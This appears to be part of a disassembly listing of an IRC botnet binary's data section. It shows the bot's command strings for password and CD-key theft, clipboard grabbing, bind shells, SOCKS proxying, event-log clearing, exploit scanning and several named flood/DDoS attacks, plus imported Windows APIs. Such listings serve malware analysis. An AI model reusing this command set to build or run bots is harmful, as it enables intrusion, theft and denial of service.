aFailedToSta_31 db 'Failed to start search thread, error: <%d>.',0
unk_42D6DC db 2Dh ; - ; DATA XREF: sub_401B66+1BA4o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401B66+1B76o
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401B66+1B65o
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1B4Fo
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401B66+1B38o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_401B66+1B0Eo
dword_42D74C dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401B66+1ABEo
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401B66+1AA8o
; sub_401B66+1AF8o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401B66+1A93o
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401B66:loc_4035E4o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401B66+1A69o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401B66+1A54o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401B66+1A3Fo
align 10h
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401B66+1A2Ao
align 10h
aCip db 'cip',0 ; DATA XREF: sub_401B66+1A15o
aCurrentip db 'currentip',0 ; DATA XREF: sub_401B66+1A00o
align 10h
aFdns db 'fdns',0 ; DATA XREF: sub_401B66+19EBo
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401B66:loc_40353Co
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401B66+19C1o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401B66+19ACo
align 4
aGc db 'gc',0 ; DATA XREF: sub_401B66+1997o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401B66+1982o
unk_42D7F4 db 2Dh ; - ; DATA XREF: sub_401B66+1944o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401B66+1929o
; sub_401B66+3C50o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401B66+1912o
align 4
unk_42D828 db 2Dh ; - ; DATA XREF: sub_401B66+18F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401B66+18CDo
; sub_40B04A+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401B66:loc_403426o
dword_42D85C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401B66+18A0o
dword_42D870 dd 6F6877h dword_42D874 dd 234032Dh, 2646D63h, 2D03hdword_42D880 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401B66+185Ao
aOcmd db 'ocmd',0 ; DATA XREF: sub_401B66+1845o
align 10h
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401B66+1830o
aDll db 'dll',0 ; DATA XREF: sub_401B66+181Bo
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401B66+1806o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401B66+17F1o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401B66+17DCo
align 4
aUp db 'up',0 ; DATA XREF: sub_401B66+17C7o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401B66+17B2o
align 4
aKey db 'key',0 ; DATA XREF: sub_401B66+179Do
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401B66+1788o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401B66+1773o
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401B66+175Eo
align 10h
aRm51 db 'rm51',0 ; DATA XREF: sub_401B66+1749o
align 4
aRemove51 db 'remove51',0 ; DATA XREF: sub_401B66+1734o
align 4
aSi db 'si',0 ; DATA XREF: sub_401B66+171Fo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401B66+170Ao
aNi db 'ni',0 ; DATA XREF: sub_401B66+16F5o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401B66+16E0o
aClg db 'clg',0 ; DATA XREF: sub_401B66+16CBo
aClearlog db 'clearlog',0 ; DATA XREF: sub_401B66+16B6o
align 4
aLg909 db 'lg909',0 ; DATA XREF: sub_401B66+16A1o
align 4
aLog909 db 'log909',0 ; DATA XREF: sub_401B66+168Co
align 4
aAl db 'al',0 ; DATA XREF: sub_401B66+1677o
align 10h
aAliases db 'aliases',0 ; DATA XREF: sub_401B66+1662o
aT: ; DATA XREF: sub_401B66+164Do
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401B66+1638o
unk_42D954 db 2Dh ; - ; DATA XREF: sub_401B66+1604o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42D97C db 2Dh ; - ; DATA XREF: sub_401B66+15FDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401B66+15E6o
align 4
aI: ; DATA XREF: sub_401B66+15D1o
; .packed:0043A8DCo ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401B66+15BCo
align 4
aS_1: ; DATA XREF: sub_401B66+15A7o
; .packed:0043A8E8o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401B66+1592o
align 4
aQ: ; DATA XREF: sub_401B66+157Do
; .packed:off_43A8C0o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401B66+1568o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401B66+1553o
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401B66+153Eo
align 4
aR: ; DATA XREF: sub_401B66+1529o
; sub_401B66+3D49o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401B66+1514o
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401B66+14FFo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401B66+14EAo
aCbstats db 'cbstats',0 ; DATA XREF: sub_401B66+14D5o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401B66+14C0o
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401B66+14ABo
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401B66+1496o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401B66+1481o
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401B66+146Co
align 10h
dword_42DA40 dd 234032Dh, 6E616373h, 2D0302haScan_0 db 'Scan',0 ; DATA XREF: sub_401B66+145Co
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401B66+1443o
align 10h
dword_42DA60 dd 234032Dh, 75636573h, 3026572h, 2DhaSecure_0 db 'Secure',0 ; DATA XREF: sub_401B66+1433o
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401B66+141Ao
align 4
dword_42DA84 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: sub_401B66+140Ao
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401B66+13F1o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401B66+13DCo
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401B66+13C7o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401B66+13B2o
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401B66+139Do
align 4
dword_42DAD4 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401B66+1374o
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: sub_401B66+134Bo
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401B66+1322o
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401B66+12F9o
align 10h
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401B66+12D0o
unk_42DB1C db 2Dh ; - ; DATA XREF: sub_401B66+12B6o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42DB50 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; sub_401B66+1317o
dword_42DB60 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; sub_401B66+1312o
dword_42DB70 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; sub_401B66+12EEo
dword_42DB80 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; sub_401B66+12E9o
dword_42DB90 dd 234032Dh, 676E6970h, 2D0302h ; sub_401B66+1369o
dword_42DB9C dd 676E6950h, 6F6C6620h, 646Fh ; sub_401B66+1364o
dword_42DBA8 dd 234032Dh, 2706475h, 2D03h ; sub_401B66+1340o
dword_42DBB4 dd 20504455h, 6F6F6C66h, 64h ; sub_401B66+133Bo
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401B66+117Ao
align 4
dword_42DBCC dd 234032Dh, 6B6E6F77h, 2D0302h ; sub_401B66+123Co
dword_42DBD8 dd 6B6E6F57h, 6F6C6620h, 646Fh ; sub_401B66+1237o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401B66+1151o
align 10h
dword_42DBF0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; sub_401B66+121Eo
dword_42DC00 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; sub_401B66+1219o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401B66+1128o
align 4
dword_42DC1C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; sub_401B66+129Co
dword_42DC2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; sub_401B66+1297o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401B66+10FFo
align 4
dword_42DC48 dd 234032Dh, 26E7973h, 2D03h ; sub_401B66+11BEo
dword_42DC54 dd 206E7953h, 6F6F6C66h, 64h ; sub_401B66+11B9o
aSynstop db 'synstop',0 ; DATA XREF: sub_401B66+10D6o
dword_42DC68 dd 234032Dh, 736F6464h, 2D0302h ; sub_401B66+11A0o
dword_42DC74 dd 536F4444h, 6F6C6620h, 646Fh ; sub_401B66+119Bo
dword_42DC80 dd 736F6464h, 6F74732Eh, 70hdword_42DC8C dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_42DC9C dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401B66+1084o
align 4
dword_42DCBC dd 234032Dh, 2676F6Ch, 2D03hdword_42DCC8 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401B66+105Bo
dword_42DCDC dd 234032Dh, 70747468h, 2D030264h, 0aHttpstop db 'httpstop',0 ; DATA XREF: sub_401B66+1032o
align 4
dword_42DCF8 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haRloginstop db 'rloginstop',0 ; DATA XREF: sub_401B66+1009o
align 4
dword_42DD14 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401B66+FE0o
align 10h
aS4 db 's4',0 ; DATA XREF: sub_401B66+FCBo
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401B66+FB6o
align 4
dword_42DD3C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: sub_401B66+FA6o
; sub_401B66+FF9o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401B66+F8Do
align 4
aBd db 'bd',0 ; DATA XREF: sub_401B66+F78o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401B66+F63o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401B66+F4Eo
align 10h
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401B66+F39o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401B66+F24o
; sub_401B66+2D22o
aSecure db 'secure',0 ; DATA XREF: sub_401B66+F0Fo
; sub_401B66+2D11o
align 4
aSt db 'st',0 ; DATA XREF: sub_401B66+EFAo
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401B66+EE5o
align 4
aDed db 'ded',0 ; DATA XREF: sub_401B66+ED0o
aDedication db 'dedication',0 ; DATA XREF: sub_401B66+EBBo
align 4
aVer db 'ver',0 ; DATA XREF: sub_401B66+EA6o
aVersion db 'version',0 ; DATA XREF: sub_401B66+E91o
aLo db 'lo',0 ; DATA XREF: sub_401B66+E7Co
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401B66+E67o
align 10h
aD: ; DATA XREF: sub_401B66+E52o
; .packed:0043A8ECo
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401B66+E3Do
aRn db 'rn',0 ; DATA XREF: sub_401B66+E28o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401B66+E10o
a63 db '63',0 ; DATA XREF: sub_401B66+CDFo
align 4
asc_42DDE8: ; DATA XREF: sub_401B66+CB7o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401B66+C7Do
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401B66+C72o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401B66+C61o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401B66+C45o
align 10h
aUser_0 db '$user',0 ; DATA XREF: sub_401B66+C34o
align 4
aMe db '$me',0 ; DATA XREF: sub_401B66+C22o
aD_0 db '$%d',0 ; DATA XREF: sub_401B66+BB4o
aD_1 db '$%d-',0 ; DATA XREF: sub_401B66+AFEo
align 4
aHi db 'hi',0 ; DATA XREF: sub_401B66+A20o
align 4
a4_0: ; DATA XREF: sub_401B66+A08o
unicode 0, <4>,0
unk_42DE30 db 2Dh ; - ; DATA XREF: sub_401B66+9E5o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42DE64 db 2Dh ; - ; DATA XREF: sub_401B66+9D4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42DE94 db 2Dh ; - ; DATA XREF: sub_401B66+9AEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42DECC db 2Dh ; - ; DATA XREF: sub_401B66+955o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401B66+8C1o
align 8
unk_42DEF8 db 2Dh ; - ; DATA XREF: sub_401B66+8A4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_42DF3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401B66+874o
dd 0A0Dh
dword_42DF54 dd 4E495001h, 47hdword_42DF5C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401B66+835o
dd 0D017325h, 0Ah
dword_42DF78 dd 52455601h, 4E4F4953h, 1dword_42DF84 dd 23h ; sub_40C8F1+1Bo
unk_42DF88 db 2Dh ; - ; DATA XREF: sub_401B66+6F8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401B66+67Fo
; sub_401B66+8FEo ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401B66+658o
align 4
dword_42DFC4 dd 43434401h, 0 dword_42DFCC dd 323333h ; sub_401B66+A42o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401B66+59Eo
; sub_409982+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401B66+592o
; sub_409982+16o
unk_42DFE0 db 2Dh ; - ; DATA XREF: sub_401B66+53Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42E004 db 2Dh ; - ; DATA XREF: sub_401B66+524o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401B66+4F3o
aQuit db 'QUIT',0 ; DATA XREF: sub_401B66+4B2o
; sub_40F23F+5B6o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401B66+4A1o
; sub_401B66+55Eo
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401B66+47Co
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401B66+381o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+32Fo
; sub_401B66+582o
unk_42E058 db 2Dh ; - ; DATA XREF: sub_401B66+316o
; sub_401B66+2E73o ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401B66+2BDo
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+27Fo
; sub_401B66+7B1Co ...
align 4
a433 db '433',0 ; DATA XREF: sub_401B66+257o
; sub_417D1D:loc_417D92o
a@: ; DATA XREF: sub_401B66+22Co
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401B66+21Co
a005 db '005',0 ; DATA XREF: sub_401B66+207o
a001 db '001',0 ; DATA XREF: sub_401B66+1F2o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1D6o
; sub_401B66+36Eo ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1B5o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401B66+19Bo
; sub_417D1D+4Eo
align 4
asc_42E0C4: ; DATA XREF: sub_401B66+18Co
; sub_401B66+7C2Fo
unicode 0, <!>,0
asc_42E0C8: ; DATA XREF: sub_401B66+A8o
; sub_401B66+DB4o ...
unicode 0, < >,0
asc_42E0CC db ' :',0 ; DATA XREF: sub_401B66+86o
; sub_401B66:loc_402600o
align 10h
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409982+58o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A1D+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A1D+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A1D:loc_40A687o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A1D+C15o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A1D+C08o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A1D+BFBo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A1D+BEEo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A1D+BE1o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A1D+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A1D:loc_40A5E9o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A1D+B97o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A1D+B8Fo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A1D:loc_40A59Fo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A1D+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A1D+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A1D+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A1D+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A1D:loc_40A52Bo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A1D+AD9o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A1D+AD1o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A1D:loc_40A4E1o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A1D+A8Fo
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A1D+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A1D:loc_40A497o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A1D+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A1D+9ECo
; sub_418D6C+54o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A1D+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A1D+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A1D+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A1D+9B8o
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A1D+9ABo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A1D+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A1D+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A1D+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A1D+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A1D+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A1D:loc_40A37Bo
; sub_418D6C+47o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A1D+921o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A1D+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A1D+90Co
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A1D:loc_40A31Co
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A1D+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A1D+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A1D+853o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A1D+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A1D+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A1D+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A1D+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A1D+812o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A1D+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A1D+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A1D+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A1D:loc_40A1FCo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A1D+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A1D+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A1D+68Co
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A1D+67Fo
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_409A1D+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A1D+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A1D+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409A1D+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409A1D+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409A1D+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409A1D+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A1D+617o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_409A1D+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409A1D+5FDo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_409A1D+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409A1D+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_409A1D+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409A1D+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A1D+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A1D+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409A1D+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A1D+588o
aSocket db 'socket',0 ; DATA XREF: sub_409A1D+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A1D+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A1D+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A1D+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A1D+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A1D+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A1D+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A1D+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A1D+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A1D+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A1D+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A1D+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A1D+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A1D+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A1D+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A1D+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A1D+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A1D+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A1D:loc_409E4Ao
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A1D:loc_409E22o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A1D+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A1D+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A1D+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A1D+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409A1D+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A1D+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A1D+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A1D:loc_409D74o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A1D+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A1D+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A1D:loc_409D2Fo
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A1D+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A1D+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A1D+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A1D+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A1D+292o
align 10h
